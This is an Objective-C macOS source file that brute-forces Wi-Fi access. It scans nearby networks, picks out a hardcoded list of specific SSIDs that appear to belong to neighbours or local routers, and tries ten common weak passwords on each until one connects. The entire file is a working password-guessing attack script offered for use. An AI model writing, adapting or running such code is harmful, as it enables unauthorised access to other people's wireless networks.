//
//  main.m
//  wifi
//
//  Created by apple on 2020/10/2.
//  Copyright © 2020 apple. All rights reserved.
//

#import <Foundation/Foundation.h>
#import <CoreWLAN/CoreWLAN.h>


int main(int argc, const char * argv[]) {
  @autoreleasepool {
    NSArray *weaks = @[@"12345678", @"123456789",
    @"88888888", @"1234567890", @"00000000", @"87654321",
                                @"66668888", @"11223344", @"147258369", @"11111111"];
    NSArray *signals = @[@"2.4gggggggg", @"360WiFi-50148D", @"5wifi", @"@PHICOMM_48", @"MO1", @"明少四楼", @"KK666666", @"MERCURY_BF2C", @"mo2.4", @"nicky", @"sufan", @"Tenda_AFFFB8", @"Tenda_B5A128", @"Tenda_DE87C0", @"TP-LINK_3F16", @"TP-LINK_DDCD", @"TP--LINK_AC2100", @"Xiaomi_0C41", @"Xiaomi_338D", @"Xiaomi_DBC0", @"Xiaomi_FD13", @"ZPF", @"ZZY"];
    CWInterface *interface = CWWiFiClient.sharedWiFiClient.interface;
    // 遍历WIFI列表
    for (CWNetwork *result in [interface cachedScanResults]) {
      NSLog(@"%@", result.ssid);
      if ([signals containsObject:result.ssid]) {
        NSLog(@"try");
        NSError *error = nil;
        for (NSString *password in weaks) {
          BOOL is = [interface associateToNetwork:result password:password error:&error];
          if (is && !error) {
            NSLog(@"成功%@", password);
            return 1;
          } else {
            NSLog(@"失败%@ %@", password, error.localizedDescription);
          }
        }
      }
    }
  }
  return 0;
}
